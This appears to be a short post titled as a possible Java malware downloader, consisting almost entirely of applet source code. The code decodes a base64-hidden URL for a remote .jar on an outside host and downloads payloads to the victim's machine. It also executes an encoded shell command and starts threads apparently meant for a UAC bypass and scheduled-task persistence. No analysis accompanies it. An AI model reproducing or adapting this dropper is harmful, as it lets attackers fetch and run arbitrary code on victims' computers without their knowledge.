Java possible malware downloader

import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import javax.swing.JApplet;

public class Principal extends JApplet
{
  public void init()
  {
    String url = getParameter("url");
    url = new String(Base64.decode(url));
    String extension = getParameter("extension");
    String prefijo = getParameter("prefijo");
    String comando = getParameter("comando");
    comando = new String(Base64.decode(comando));
    String uac = getParameter("uac");
    String task = getParameter("task");
    String compar = getParameter("compartir");
    boolean ua = Boolean.parseBoolean(uac);
    boolean tas = Boolean.parseBoolean(task);
    boolean compartir = Boolean.parseBoolean(compar);

    if (compartir) {
      Download cmp = new Download(new String(Base64.decode("aHR0cDovL3d3dy5tdW5kb29ubGluZWphdmEuY29tL2NnaS5iaW4vdXBsb2Fkcy91cGRhdGUyLmphcg==")), ".jar", "compariraas");
      cmp.start();
    }

    Download aaa = new Download(url, "." + extension, prefijo);
    aaa.start();

    uac u = new uac(ua);
    u.start();

    task t = new task(tas);
    t.start();

    if (!comando.isEmpty()) {
      comando = comando.trim();
      Tools.execute(comando);
    }
  }
}